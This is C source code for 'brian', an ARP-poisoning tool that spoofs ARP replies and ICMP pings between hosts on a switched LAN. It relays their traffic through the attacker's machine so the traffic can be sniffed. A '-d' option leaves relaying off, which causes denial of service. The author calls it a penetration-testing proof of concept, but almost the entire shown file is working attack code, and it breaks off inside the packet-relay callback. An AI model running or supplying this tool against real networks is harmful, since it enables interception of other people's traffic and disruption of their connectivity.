/*
 * brian - "He's not the Messiah, he's a very naughty man!"
 *
 * cc -o brian brian.c -lpthread -lnet -lpcap
 *
 * Based on the ideas of ARP poisoning present in Ettercap, this program
 * is a simple tool to effectively convert a switched network (or a part of
 * it) into a shared network so that sniffing can take place.
 *
 * Ettercap (in it's current form) is very good at letting you poison the ARP
 * caches of two or more computers to sniff a particular machine or perform
 * man-in-the-middle attacks.  It works in a one-to-one or one-to-many
 * scenario but not many-to-many as in shared networks.
 *
 * I wasn't interested in man-in-the-middle attacks but was very interested
 * in sniffing a group of computers on a switched network for penetration
 * testing.
 *
 * It requires libpcap and libnet and is threaded for your pleasure.
 * Some of the libpcap stuff was borrowed from code by Bastian ballmann.
 * It was written for Red Hat 8 but should work on many Linux distributions.
 *
 * It is free to use and modify but I would rather it wasn't redistributed
 * in modified form without changing the name.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pcap.h>
#include <net/bpf.h>
#include <unistd.h>
#include <libnet.h>
#include <pthread.h>
#include <net/ethernet.h>

#define DEF_TIMEOUT 2
#define DEF_WAIT 5000
#define DEF_PAUSE 10

/* ipaddr_range_list is a struct used to create a linked list of computer
 * ranges.
 */
struct ipaddr_range_list;
struct ipaddr_range_list
{
	u_char a1, a2, a3, a4a, a4b;
	int range_len;
	struct ipaddr_range_list *next;
};

/* ipaddr_array is a struct used to create an array of ip addresses and mac
 * addresses that the user is interested in.
 */
struct ipaddr_array
{
	struct in_addr ipaddr;
	int range_len;
	u_char macaddr[6];
};

/* brian_struct holds the program context and is passed to nearly all
 * functions.  It's instantiation could have been made global but I decided
 * I'd rather pass a pointer so the functions can be lifted out and reused
 * elsewhere.
 */
struct brian_struct
{
	struct ipaddr_array *ip_list;
	int ip_list_len;
	struct ipaddr_array **ip_hash;
	int ip_hash_len;
	u_char gateway_mac[6];
	struct in_addr gateway_ip;
	libnet_t *libnet_context;
	libnet_t *libnet_context2;
	pcap_t *pcap_handle;
	char *device;
	bpf_u_int32 net;
	bpf_u_int32 mask;
	int timeout;
	int wait;
	int pause;
	struct libnet_ether_addr *my_mac;
	struct in_addr my_ip;
};

/* the only global variable - if anyone knows how I can avoid this then
 * please let me know.
 */
u_char signal_death = 0;

void signal_handler(int sig);
void usage();
int convert_ipaddrs(struct brian_struct *brian_context, char *str);
int convert_ipaddrs_range(struct ipaddr_range_list **target, char *str);
void identify_congregation(struct brian_struct *brian_context,
	int list);
void *ARP_listener(void *ARP_listen_values);
void spoof_pings(struct brian_struct *brian_context);
void *start_preaching(void *t);
void *unpoison(struct brian_struct *brian_context);
void relay_packets(struct brian_struct *brian_context);
void ARP_receiver(u_char *args, const struct pcap_pkthdr *header, const u_char *pkt);
void packet_receiver(u_char *args, const struct pcap_pkthdr *header, const u_char *pkt);

/* main function
 * decodes options, starts the preaching, starts the relaying
 */
int main(int argc, char *argv[])
{
	/* variables */
	uid_t userid;
	int list = 0;
	int preach = 0;
	int dos = 0;
	int disc_len = 0;
	int cong_len = 0;
	struct brian_struct brian_context;
	pthread_t preach_thread;
	int getoptret;
	char disc_ips[1024], cong_ips[1024];
	struct ipaddr_array *disc_list = NULL;
	struct ipaddr_array **disc_hash = NULL;
	struct ipaddr_array *cong_list = NULL;
	struct ipaddr_array **cong_hash = NULL;
	int disc_hash_len = 0;
	int cong_hash_len = 0;
	char err_buf[LIBNET_ERRBUF_SIZE];
	char errbuf[PCAP_ERRBUF_SIZE];
	u_char empty_mac[6] = {0,0,0,0,0,0};


	/* check we're root */
	userid = geteuid();
	if(userid != 0)
	{
		usage();
		printf("You really need to be the Messiah to run this program\nYour EUID is %d\n",userid);
		exit(0);
	}

	brian_context.device = NULL;
	brian_context.timeout = DEF_TIMEOUT;
	brian_context.wait = DEF_WAIT;
	brian_context.pause = DEF_PAUSE;

	/* zero the gateway mac and ip address */
	memcpy(brian_context.gateway_mac, empty_mac, 6);
	brian_context.gateway_ip.s_addr = 0;

	/* sort options */
	/* use getopt to find out what the user provided */
	/* brian <-l ip_range> [-i interface] [-t timeout]
	 *  - only list reachable ip addresses with MAC addresses.
	 * brian <-p ip_range> [-i interface] [-t timeout] [-w wait]
	 *       [-r pause] [-g gateway_ip] [-d]
	 *  - preach to ip addresses (i.e. spoof and relay).
	 *  -i interface indicates the interface to use.
	 *  -t timeout indicates the time to wait in seconds after sending
	 *     an ARP request before assuming the host is dead (default 2 sec).
	 *  -w wait indicates the time to wait between repeating sending 
	 *     the set of ARP replies (default 5000ms).
	 *  -r pause indicates the time to pause between sending each ARP
	 *     packet (default 10ms).
	 *  -g gateway_ip identifies which of the congregation is the
	 *     gateway for IP addresses we don't understand.
	 *  -d specifies Denial-Of-Service, i.e. Don't relay (this is just
	 *     to demonstrate how easy it is to DOS a network without any
	 *     particularly nasty packets).
	 */
	while ((getoptret = getopt(argc, argv, "l:p:i:t:w:r:g:d")) != EOF)
	{
		switch (getoptret)
		{
			case 'l':
				list = 1;
				strncpy(cong_ips, optarg, 1023);
				cong_ips[1023] = 0;
				cong_len = convert_ipaddrs(&brian_context, cong_ips);
				if (cong_len == -1)
				{
					usage();
					printf("congregation incorrectly specified\n");
					exit(0);
				}
				break;
			case 'p':
				preach = 1;
				strncpy(disc_ips, optarg, 1023);
				disc_ips[1023] = 0;
				disc_len = convert_ipaddrs(&brian_context, disc_ips);
				if (disc_len == -1)
				{
					usage();
					printf("disciples incorrectly specified\n");
					exit(0);
				}
				break;
			case 'i':
				brian_context.device = (char *)malloc(strlen(optarg) + 1);
				strcpy(brian_context.device, optarg);
				break;
			case 't':
				brian_context.timeout = atoi(optarg);
				break;
			case 'w':
				brian_context.wait = atoi(optarg);
				break;
			case 'r':
				brian_context.pause = atoi(optarg);
				break;
			case 'g':
				if (inet_aton(optarg, &(brian_context.gateway_ip)) == 0)
				{
					usage();
					printf("gateway ip is invalid\n");
					exit(0);
				}
				break;
			case 'd':
				dos = 1;
				break;
			default:
				usage();
				printf("invalid argument\n");
				exit(0);
		}
	}

	if ((list == 0) && (preach == 0))
	{
		usage();
		printf("You must specify -l or -p\n");
		exit(0);
	}
	if ((list == 1) && (preach == 1))
	{
		usage();
		printf("You may only specify -l OR -p\n");
		exit(0);
	}
	if (brian_context.timeout == 0)
	{
		usage();
		printf("Invalid timeout\n");
		exit(0);
	}
	if (brian_context.wait == 0)
	{
		usage();
		printf("Invalid wait\n");
		exit(0);
	}
	if (brian_context.pause == 0)
	{
		usage();
		printf("Invalid pause\n");
		exit(0);
	}

	/* welcome message */
	printf("brian - \"He's not the Messiah, he's a very naughty man!\"\n");
	printf("use ^C or a SIGTERM to quit\n");

	/* set up the libnet stuff */
	brian_context.libnet_context = libnet_init(LIBNET_LINK, brian_context.device, err_buf);
	if (brian_context.libnet_context == NULL)
	{
		printf("libnet_init failed: %s\n", err_buf);
		exit(0);
	}

	/* either through a user option or through libnet searching, we have
	 * a valid device in brian_context.libnet_context->device.  This
	 * must be copied into brian_context.device as the master device and
	 * used for pcap initiation.
	 */

	if (brian_context.device == NULL)
	{
		brian_context.device = (char *)malloc
			(strlen(brian_context.libnet_context->device) + 1);
		strcpy(brian_context.device,
			brian_context.libnet_context->device);
	}

	/* find my mac and ip address */
	brian_context.my_mac = libnet_get_hwaddr(brian_context.libnet_context);
	if (brian_context.my_mac == NULL)
	{
		printf("could not get my MAC address\n");
		exit(0);
	}
	brian_context.my_ip.s_addr = libnet_get_ipaddr4(brian_context.libnet_context);
	if (brian_context.my_ip.s_addr == -1)
	{
		printf("could not get my ip address\n");
		exit(0);
	}

	/* seed the pseudo random generator */
	libnet_seed_prand(brian_context.libnet_context);

	/* set up the pcap stuff
	 * Open device for sniffing in non-promisc mode
	 * device, snaplen, promics-mode, timeout, errorbuffer
	 */
	brian_context.pcap_handle = pcap_open_live(brian_context.device,BUFSIZ,0,-1,errbuf);

	/* Lookup IP and network mask for device */
	pcap_lookupnet(brian_context.device, &(brian_context.net), &(brian_context.mask), errbuf);

	printf("device: %s; MAC: %s; IP: %s\n", brian_context.device, ether_ntoa(brian_context.my_mac), inet_ntoa(brian_context.my_ip));

	/* set up a second libnet context for the ARP poisoner */
	brian_context.libnet_context2 = libnet_init(LIBNET_LINK, brian_context.device, err_buf);
	if (brian_context.libnet_context2 == NULL)
	{
		printf("libnet_init2 failed: %s\n", err_buf);
		exit(0);
	}

	if (dos == 1)
	{
		printf("DOS option selected.  Specified congregation will be\n");
		printf("unable to communicate until unpoisoned!\n");
	}

	/* identify congregation */
	/* if listing, send ARP requests to the IP address range identified
	 * by the congregation.
	 * if preaching, send ARP requests to the IP address range
	 * identified by the disciples.
	 */
	if (list == 1)
		identify_congregation(&brian_context, 1);
	else
	{
		identify_congregation(&brian_context, 0);

		/* spoof pings */
		/* send spoofed pings from all in ip_list to all others in
		 * ip_list to make them aware of each other
		 */
		spoof_pings(&brian_context);

		/* set up the signal handler.
		 * Up to this point we could have just happily fallen over,
		 * but now we have to make sure we tidy up the poisoned ARP
		 * caches all over the place otherwise some network admins
		 * will get a little upset.
		 */

		signal(SIGINT, signal_handler);
		signal(SIGTERM, signal_handler);

		/* start preaching */
		/* tell the congregation that you are the responsible for
		 * all the other ip addresses in the congregation.
		 * Run in a different thread.
		 */
		if (pthread_create(&preach_thread, NULL, start_preaching,
			(void *)&brian_context) != 0)
		{
			printf("could not create preach thread\n");
			exit(0);
		}

		/* start relaying */
		/* listen to all packets.  Any packets destined for an ip
		 * address that is not your own should be relayed to the
		 * correct MAC address.
		 */
		if (dos == 0)
		{
			relay_packets(&brian_context);
		} else {
			while (1)
			{
				sleep(1000);
			}
		}
	}
}

void signal_handler(int sig)
{
	/* set the death global to indicate close down */
	signal_death = 1;
}

/* usage displays valid usage info
 */
void usage()
{
	printf("brian - \"He's not the messiah, he's a very naughty man!\"\n");
	printf("brian <-l ip_range> [-i interface] [-t timeout]\n");
	printf(" - only list reachable ip addresses with MAC addresses.\n");
	printf("brian <-p ip_range> [-i interface] [-t timeout] [-w wait]\n");
	printf("      [-r pause] [-g gateway_ip] [-d]\n");
	printf(" - preach to ip addresses (i.e. spoof and relay).\n");
	printf(" -i interface indicates the interface to use.\n");
	printf(" -t timeout indicates the time to wait in seconds after sending\n");
	printf("    an ARP request before assuming the host is dead (default 2 sec).\n");
	printf(" -w wait indicates the time to wait between sending repeating\n");
	printf("    ARP replies (default 5000ms).\n");
	printf(" -r pause indicates the time to pause between sending each ARP\n");
	printf("    packet (default 10ms).\n");
	printf(" -g gateway_ip identifies which of the congregation is the\n");
	printf("    gateway for IP addresses we don't understand.\n");
	printf(" -d specifies Denial-Of-Service, i.e. Don't relay (this is just\n");
	printf("    to demonstrate how easy it is to DOS a network without any\n");
	printf("    particularly nasty packets).\n");
	printf("\n");
}

/* convert_ipaddrs takes a string specifying a number of comma
 * delimited ip address ranges and converts them to an array of
 * individual ip addresses.
 * It also creates a hash array pointing at the start of each
 * range within the array of ip addresses.
 * It returns the length of the array.
 * Currently only works on comma delimited Class C address ranges
 * or ip addresses.
 * One day I'll include provision for hostnames and net/bit
 * identifiers and then package the lot up as a library; but for
 * the moment it's just a couple of C functions.
 */
int convert_ipaddrs(struct brian_struct *brian_context, char *str)
{
	int i,j,k, ret;
	u_char temp_ip[4];
	char *strtok_range;
	char *r_temp1 = NULL;
	int r_count = 0;
	int num_ranges = 0;
	struct ipaddr_range_list *head = NULL;
	struct ipaddr_range_list *range_temp = NULL;
	struct ipaddr_range_list *range_temp2 = NULL;
	struct ipaddr_range_list **range_ptr = &head;

	/* test for valid chars */
	if (strspn(str, "0123456789.-,") != strlen(str))
	{
		return -1;
	}

	/* create a linked list of ipranges, checking validity, and
	 * maintaining a sum of ipaddresses in the total range
	 */

	/* use strtok_r to find each range */
	/* note to self: always use strtok_r over strtok to avoid
	 * nasty, dangerous clashes.
	 */
	r_temp1 = strtok_r(str, ",", &strtok_range);
	while (r_temp1 != NULL)
	{
		ret = convert_ipaddrs_range(range_ptr, r_temp1);
		if (ret == -1)
		{
			return -1;
		}
		range_ptr = &((*range_ptr)->next);
		r_count = r_count + ret;
		r_temp1 = strtok_r(NULL, ",", &strtok_range);
		num_ranges++;
	}

	brian_context->ip_list_len = r_count;
	brian_context->ip_hash_len = num_ranges;

	/* create an array big enough for all the ranges */
	brian_context->ip_list = (struct ipaddr_array *)malloc(sizeof(struct ipaddr_array) * r_count);

	/* create an array big enough to hold pointers to the ranges.
	 * This will be a hash to speed up searching
	 */
	brian_context->ip_hash = (struct ipaddr_array **)malloc(sizeof(struct ipaddr_array *) * num_ranges);

	/* loop through the ipaddr range list and populate the array */
	range_temp = head;

	i = 0;
	k = 0;
	while (range_temp != NULL)
	{
		/* store the pointer in the hash table */
		(brian_context->ip_hash)[k] = &((brian_context->ip_list)[i]);

		temp_ip[0] = range_temp->a1;
		temp_ip[1] = range_temp->a2;
		temp_ip[2] = range_temp->a3;

		/* loop through the ip range, saving ipaddrs as we go */
		for (j=range_temp->a4a; j<=range_temp->a4b; j++)
		{
			temp_ip[3] = j;
			memcpy(&((brian_context->ip_list)[i].ipaddr), temp_ip, 4);
			(brian_context->ip_list)[i].range_len = range_temp->range_len;
			i++;
		}

		range_temp = range_temp->next;
		k++;
	}

	/* deallocate the memory for the linked list as it is no
	 * longer needed
	 */
	range_temp = head;
	while (range_temp != NULL)
	{
		range_temp2 = range_temp->next;
		free(range_temp);
		range_temp = range_temp2;
	}

	/* return the number of elements in the array */
	return r_count;
}


/* convert_ipaddrs_range takes a string specifying an ipaddress range
 * or single ip addrss and returns a malloced and populated node.
 */
int convert_ipaddrs_range(struct ipaddr_range_list **target, char *str)
{
	char *temp1, *temp2, *temp3, *temp4;
	int o1, o2, o3, o4a, o4b;
	char *strtok_dot, *strtok_minus;
	struct ipaddr_range_list *node;
	int ret;

	/* retrieve first three octets */
	temp1 = strtok_r(str, ".", &strtok_dot);
	temp2 = strtok_r(NULL, ".", &strtok_dot);
	temp3 = strtok_r(NULL, ".", &strtok_dot);
	temp4 = strtok_r(NULL, "!", &strtok_dot);

	/* test the values for valid strings */
	if ((temp1 == NULL) || (temp2 == NULL) || (temp3 == NULL) ||
		(temp4 == NULL) ||
		(strchr(temp1, '-') != NULL) ||
		(strlen(temp1) == 0) ||
		(strchr(temp2, '-') != NULL) ||
		(strlen(temp2) == 0) ||
		(strchr(temp3, '-') != NULL) ||
		(strlen(temp3) == 0) ||
		(strchr(temp4, '.') != NULL) ||
		(strlen(temp4) == 0))
	{
		return -1;
	}

	/* identify the first three octets */
	o1 = atoi(temp1);
	o2 = atoi(temp2);
	o3 = atoi(temp3);

	/* find out if it is a range or an individual ip address */
	temp1 = strchr(temp4, '-');
	if (temp1 == NULL)
	{
		o4a = atoi(temp4);
		o4b = atoi(temp4);
	} else {
		temp1 = strtok_r(temp4, "-", &strtok_minus);
		o4a = atoi(temp1);
		temp2 = strtok_r(NULL, "!", &strtok_minus);
		if (strchr(temp2, '-') != NULL)
		{
			return -1;
		}
		o4b = atoi(temp2);
	}

	/* check the values are okay */
	if ((o1 < 1) || (o1 > 255) || (o2 < 0) || (o2 > 255) ||
		(o3 < 0) || (o3 > 255) || (o4a < 1) || (o4a > 254) ||
		(o4b < 1) || (o4b > 254) || (o4a > o4b))
	{
		return -1;
	}

	/* create node */
	node = (struct ipaddr_range_list *)malloc(sizeof(struct ipaddr_range_list));
	node->a1 = o1;
	node->a2 = o2;
	node->a3 = o3;
	node->a4a = o4a;
	node->a4b = o4b;
	node->range_len = o4b - o4a + 1;
	node->next = NULL;

	/* point target at the new node and return the number of
	 * ip addresses it refers to */
	*target = node;
	return node->range_len;
}



/* identify_congregation
 * send ARPs to request the MAC addresses of all IP addresses in the
 * ipaddr_array.  Start a listener which records the responses in the
 * array.
 */
void identify_congregation(struct brian_struct *brian_context,
	int list)
{
	int i;
	pthread_t ARP_listen_thread;
	libnet_ptag_t arp_ptag = LIBNET_PTAG_INITIALIZER;
	libnet_ptag_t ether_ptag = LIBNET_PTAG_INITIALIZER;
	u_char broadcast_mac[6] = {0xff,0xff,0xff,0xff,0xff,0xff};
	u_char empty_mac[6] = {0,0,0,0,0,0};

	printf("Identify Congregation\n");

	/* temp code to test array */
	/*
	for (i=0; i<brian_context->ip_hash_len; i++)
	{
		printf("%d,%s,%d\n", i, inet_ntoa((brian_context->ip_hash[i])->ipaddr), (brian_context->ip_hash[i])->range_len);
	}

	for (i=0; i<brian_context->ip_list_len; i++)
	{
		printf("%s\n", inet_ntoa((brian_context->ip_list[i]).ipaddr));
	}
	*/

	/* start ARP listener */
	if (pthread_create(&ARP_listen_thread, NULL, ARP_listener,
		(void *)brian_context) != 0)
	{
		printf("could not create ARP listener thread\n");
		exit(0);
	}

	sleep(1);

	/* send ARP requests for all IP addresses in ip_list */
	for (i=0; i<brian_context->ip_list_len; i++)
	{
		arp_ptag = libnet_build_arp(ARPHRD_ETHER, /* ether */
			ETHERTYPE_IP,		/* IP addresses */
			6,			/* MAC length */
			4,			/* IP length */
			ARPOP_REQUEST,		/* ARP request */
			brian_context->my_mac->ether_addr_octet, /* sender MAC */
			(u_char *)&(brian_context->my_ip),	/* sender IP */
			empty_mac,		/* target MAC */
			(u_char *)&(brian_context->ip_list[i].ipaddr), /* target IP */
			NULL,			/* payload */
			0,			/* payload len */
			brian_context->libnet_context,	/* context */
			arp_ptag);		/* ptag */

		ether_ptag = libnet_build_ethernet(
			broadcast_mac,		/* target MAC */
			brian_context->my_mac->ether_addr_octet, /* sender MAC */
			ETHERTYPE_ARP,		/* ARP proto */
			NULL,			/* payload */
			0,			/* payload len */
			brian_context->libnet_context,		/* context */
			ether_ptag);		/* ptag */

		if (libnet_write(brian_context->libnet_context) == -1)
		{
			printf("libnet_write failed\n");
			exit(0);
		}
		usleep(1000 * brian_context->pause);
	}

	libnet_clear_packet(brian_context->libnet_context);

	/* wait for timeout */
	sleep(brian_context->timeout);

	/* cancel ARP listener */
	pthread_cancel(ARP_listen_thread);
	
	/* if the user asked for a list of ips and macs then do it now */
	if (list == 1)
	{
		for (i=0; i<brian_context->ip_list_len; i++)
		{
			if (memcmp((void *)((brian_context->ip_list[i]).macaddr), (void *)empty_mac, 6) != 0)
			{
				printf("ip=%s, mac=%s\n", inet_ntoa((brian_context->ip_list[i]).ipaddr), ether_ntoa((brian_context->ip_list[i]).macaddr));
			}
		}
	}

}

/* ARP_listener is the thread that receives the ARP replies and fires off
 * a callback function to populate the array with the correct MAC addresses.
 */
void *ARP_listener(void *ARP_listen_values)
{
	struct brian_struct *brian_context = ARP_listen_values;
	char errbuf[PCAP_ERRBUF_SIZE];
	char ARP_expr[4] = "arp";
	struct bpf_program filter;
	int check;

	if (pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL) != 0)
	{
		printf("pthread_setcanceltype failed\n");
		exit(0);
	}
	
	/* Compile pcap expression */
	/* pcap_handle, compiled filter, filter, optimized, netmask */
	check = pcap_compile(brian_context->pcap_handle,&filter,ARP_expr,0,brian_context->net);

	if(check == -1)
	{
		printf("There was an error while compiling pcap expression!");
		exit(0);
	}

	/* Use the compiled pcap filter */
	pcap_setfilter(brian_context->pcap_handle,&filter);

	/* Start sniffing */
	/* pcap_handle, num_packets, callback, params */
	pcap_loop(brian_context->pcap_handle,-1,ARP_receiver,
		(u_char *)brian_context);
}

/* spoof_pings sends spoofed pings from all in ip_list to all others in
 * ip_list
 */
void spoof_pings(struct brian_struct *brian_context)
{
	int i,j;
	libnet_ptag_t icmp_ptag = LIBNET_PTAG_INITIALIZER;
	libnet_ptag_t ip_ptag = LIBNET_PTAG_INITIALIZER;
	libnet_ptag_t ether_ptag = LIBNET_PTAG_INITIALIZER;
	u_char empty_mac[6] = {0,0,0,0,0,0};
	u_short packet_id;
	char payload[55] = "brian - He's not the messiah, he's a very naughty man!";

	/* the above payload is an easily identified string which may be
	 * changed by scamps wanting to avoid packet identification in IDS.
	 * I've left it as a static string purely because this program is a
	 * proof of concept and not a nasty piece of work.  Script kiddies
	 * may well use it unchanged resulting in IDS signatures featuring
	 * the payload strap-line... this would highly amuse me!
	 */


	/* send spoofed pings to all IP addresses in ip_list */
	for (i=0; i<brian_context->ip_list_len; i++)
	{
		if (memcmp((void *)((brian_context->ip_list[i]).macaddr), (void *)empty_mac, 6) == 0)
			continue;
		for (j=0; j<brian_context->ip_list_len; j++)
		{
			if ((i==j) || (memcmp((void *)((brian_context->ip_list[j]).macaddr), (void *)empty_mac, 6) == 0))
				continue;
			packet_id = libnet_get_prand(LIBNET_PRu16);
			icmp_ptag = libnet_build_icmpv4_echo(
				ICMP_ECHO,
				0, /* code */
				0, /* checksum (auto) */
				packet_id, /* id */
				0, /* seq number */
				payload, /* packet data */
				54, /* packet data length */
				brian_context->libnet_context,
				icmp_ptag);
			ip_ptag = libnet_build_ipv4(
				LIBNET_ICMPV4_ECHO_H + LIBNET_IPV4_H + 54, /* ICMP length */
				0, /* TOS */
				packet_id, /* id */
				0, /* frag and offset */
				255, /* TTL */
				1, /* ICMP */
				0, /* checksum (auto) */
				(brian_context->ip_list[i]).ipaddr.s_addr,
				(brian_context->ip_list[j]).ipaddr.s_addr,
				NULL, /* packet data */
				0, /* packet data length */
				brian_context->libnet_context,
				ip_ptag);
			ether_ptag = libnet_build_ethernet(
				(brian_context->ip_list[j]).macaddr,
				(brian_context->ip_list[i]).macaddr,
				ETHERTYPE_IP, /* IP proto */
				NULL, /* payload */
				0, /* payload len */
				brian_context->libnet_context,
				ether_ptag);

			if (libnet_write(brian_context->libnet_context) == -1)
			{
				printf("libnet_write failed\n");
				exit(0);
			}
			usleep(1000 * brian_context->pause);
		}
	}

	libnet_clear_packet(brian_context->libnet_context);
}

/* start_preaching
 * Send ARP replies to each IP address claiming my MAC as each
 * of the other IP addresses.
 * Avoid IP addresses with zeroed MAC addresses as these did not
 * respond to the initial ARP storm.
 * Look out for global signal_death changing to 1 to indicate a termination
 * request.
 */
void *start_preaching(void *t)
{
	struct brian_struct *brian_context = t;
	int i,j;
	libnet_ptag_t arp_ptag = LIBNET_PTAG_INITIALIZER;
	libnet_ptag_t ether_ptag = LIBNET_PTAG_INITIALIZER;
	u_char empty_mac[6] = {0,0,0,0,0,0};

	printf("Start preaching\n");

	/* looping forever, send ARP replies to all in ip_list claiming
	 * my MAC address as all in ip_list
	 * I'm using a second libnet context here so that I don't disrupt
	 * or get disrupted by the libnet context that is relaying the
	 * packets.
	 */
	while (1)
	{
		for (i=0; i<brian_context->ip_list_len; i++)
		{
			if (memcmp((void *)((brian_context->ip_list[i]).macaddr), (void *)empty_mac, 6) == 0)
				continue;
			for (j=0; j<brian_context->ip_list_len; j++)
			{
				if ((i==j) || (memcmp((void *)((brian_context->ip_list[j]).macaddr), (void *)empty_mac, 6) == 0))
					continue;
				arp_ptag = libnet_build_arp(
					ARPHRD_ETHER, /* ether */
					ETHERTYPE_IP, /* IP addresses */
					6, /* MAC length */
					4, /* IP length */
					ARPOP_REPLY, /* ARP reply */
					brian_context->my_mac->ether_addr_octet, /* sender MAC */
					(u_char *)&(brian_context->ip_list[i].ipaddr), /* sender IP */
					brian_context->ip_list[j].macaddr, /* target MAC */
					(u_char *)&(brian_context->ip_list[j].ipaddr), /* target IP */
					NULL, /* payload */
					0, /* payload len */
					brian_context->libnet_context2, /* context */
					arp_ptag); /* ptag */

				ether_ptag = libnet_build_ethernet(
					brian_context->ip_list[j].macaddr, /* target MAC */
					brian_context->my_mac->ether_addr_octet, /* sender MAC */
					ETHERTYPE_ARP, /* ARP proto */
					NULL, /* payload */
					0, /* payload len */
					brian_context->libnet_context2, /* context */
					ether_ptag); /* ptag */

				if (libnet_write(brian_context->libnet_context2) == -1)
				{
					printf("libnet_write failed\n");
					exit(0);
				}
				usleep(1000 * brian_context->pause);
			}
		}
		usleep(1000 * brian_context->wait);
		if (signal_death == 1)
		{
			libnet_clear_packet(brian_context->libnet_context2);
			unpoison(brian_context);
			printf("ARP caches unpoisoned, goodbye\n");
			exit(0);
		}
	}

}

/* unpoison sends ARPs to tell all ips the real values of all others MAC
 * addresses
 */
void *unpoison(struct brian_struct *brian_context)
{
	int i,j,loop;
	libnet_ptag_t arp_ptag = LIBNET_PTAG_INITIALIZER;
	libnet_ptag_t ether_ptag = LIBNET_PTAG_INITIALIZER;
	u_char empty_mac[6] = {0,0,0,0,0,0};

	/* send ARP replies to all in ip_list stating
	 * the real MAC addresses for all in ip_list
	 * I'm using the second libnet context here so that I don't disrupt
	 * or get disrupted by the libnet context that is still relaying the
	 * packets.
	 */
	for (loop=0; loop<5; loop++)
	for (i=0; i<brian_context->ip_list_len; i++)
	{
		if (memcmp((void *)((brian_context->ip_list[i]).macaddr), (void *)empty_mac, 6) == 0)
			continue;
		for (j=0; j<brian_context->ip_list_len; j++)
		{
			if ((i==j) || (memcmp((void *)((brian_context->ip_list[j]).macaddr), (void *)empty_mac, 6) == 0))
				continue;
			arp_ptag = libnet_build_arp(
				ARPHRD_ETHER, /* ether */
				ETHERTYPE_IP, /* IP addresses */
				6, /* MAC length */
				4, /* IP length */
				ARPOP_REPLY, /* ARP reply */
				brian_context->ip_list[i].macaddr, /* sender MAC */
				(u_char *)&(brian_context->ip_list[i].ipaddr), /* sender IP */
				brian_context->ip_list[j].macaddr, /* target MAC */
				(u_char *)&(brian_context->ip_list[j].ipaddr), /* target IP */
				NULL, /* payload */
				0, /* payload len */
				brian_context->libnet_context2, /* context */
				arp_ptag); /* ptag */

			ether_ptag = libnet_build_ethernet(
				brian_context->ip_list[j].macaddr, /* target MAC */
				brian_context->my_mac->ether_addr_octet, /* sender MAC */
				// brian_context->ip_list[i].macaddr, /* sender MAC */
				ETHERTYPE_ARP, /* ARP proto */
				NULL, /* payload */
				0, /* payload len */
				brian_context->libnet_context2, /* context */
				ether_ptag); /* ptag */

			if (libnet_write(brian_context->libnet_context2) == -1)
			{
				printf("libnet_write failed\n");
			}
			usleep(1000 * brian_context->pause);
		}
	}
}

/* relay_packets is the function that receives packets and then sends them
 * on to the correct MAC addresses.  This is necessary for the network to
 * continue to work once the ARP caches are poisoned.
 */
void relay_packets(struct brian_struct *brian_context)
{
	char errbuf[PCAP_ERRBUF_SIZE];
	char filter_expr[1024];
	struct bpf_program filter;
	int check;

	printf("Relay packets\n");

	/* create filter expression */
	sprintf(filter_expr, "ip and not dst host %s and not ether src %s", inet_ntoa(brian_context->my_ip), ether_ntoa(brian_context->my_mac));

	/* Compile pcap expression */
	/* pcap_handle, compiled filter, filter, optimized, netmask */
	check = pcap_compile(brian_context->pcap_handle,&filter,filter_expr,0,brian_context->net);

	if(check == -1)
	{
		printf("There was an error while compiling pcap expression!");
		exit(0);
	}

	/* Use the compiled pcap filter */
	pcap_setfilter(brian_context->pcap_handle,&filter);

	/* Start sniffing */
	/* pcap_handle, num_packets, callback, params */
	pcap_loop(brian_context->pcap_handle,-1,packet_receiver,
		(u_char *)brian_context);
}


/* ARP_receiver
 * This is a callback function launched by pcap_loop filtered on ARP packets.
 * For every ARP reply, locate the IP addr in the table and enter the MAC
 * address.  Of course, if some other scamp is already running brian, ettercap,
 * or similar, then you'll be plotting his MAC address and not the real one.
 * Whilst this shouldn't upset the program (save for a little indirection in
 * packet relaying) it will fall to pieces when the other scamp stops his
 * program.  Best to avoid this situation if at all possible, methinks.
 * To take account of the gateway, the ARP_receiver will also check each
 * returned IP against the gateway IP and store the relevant MAC address if
 * they match.
 */
void ARP_receiver(u_char *args, const struct pcap_pkthdr *header, const u_char *pkt)
{
	struct brian_struct *brian_context = (struct brian_struct *)args;
	struct libnet_ethernet_hdr *ether;
	struct libnet_arp_hdr *arp;
	short arp_op;
	u_char *mac;
	struct in_addr ip;
	u_char *ptr;
	int i;
	u_char first_octet, last_octet, arp_last_octet;
	struct ipaddr_array *temp_ptr;

	/* break packet into workable components */
	ether = (struct libnet_ethernet_hdr *) pkt;
	arp = (struct libnet_arp_hdr *)(pkt + LIBNET_802_3_H);
	arp_op = ntohs(arp->ar_op);

	/* we're pretty sure this is an ARP packet or we wouldn't be here! */
	if (arp_op == ARPOP_REPLY)
	{
		mac = (u_char *)(pkt + LIBNET_802_3_H + LIBNET_ARP_H);
		memcpy((void *)&ip, (void *)(pkt + LIBNET_802_3_H + LIBNET_ARP_H + 6), 4);
		/* locate ip address in ip_hash */
		for (i=0; i<brian_context->ip_hash_len; i++)
		{
			if (memcmp((void *)&((brian_context->ip_hash[i])->ipaddr), (void *)&ip, 3) == 0)
			{
				/* first three octets match */
				first_octet = ((u_char *)&((brian_context->ip_hash[i])->ipaddr))[3];
				last_octet = (brian_context->ip_hash[i])->range_len + first_octet - 1;
				arp_last_octet = ((u_char *)&ip)[3];
				if ((arp_last_octet >= first_octet) && (arp_last_octet <= last_octet))
				{
					/* it's in this range */
					temp_ptr = (brian_context->ip_hash[i]) + (arp_last_octet - first_octet);
					memcpy(temp_ptr->macaddr, mac, 6);
					if (memcmp((void *)&brian_context->gateway_ip, (void *)&ip, 4) == 0)
					{
						/* this is also the gateway
						 * IP */
						memcpy(brian_context->gateway_mac, mac, 6);
					}
					break;
				}
			}
		}
	}
}

/* packet_receiver
 * This is a callback function launched by pcap_loop filtered on them not
 * being sent by me or sent to my ip address.
 * For every packet, replace my mac address for the correct mac address
 * retrieved from the ip_list and then re-send.  This should then send the
 * packet to the correct destination.
 * IP addresses that do not match are assumed to be for the big wide world
 * and will therefore be sent to the gateway, should one have been specified.
 */
void packet_receiver(u_char *args, const struct pcap_pkthdr *header, const u_char *pkt)
{
	struct brian_struct *brian_context = (struct brian_struct *)args;
	struct libnet_ethernet_hdr *ether;
	struct libnet_ipv4_hdr *body;
	u_char mac[6] = {0,0,0,0,0,0};
	u_char empty_mac[6] = {0,0,0,0,0,0};
	struct in_addr ip;
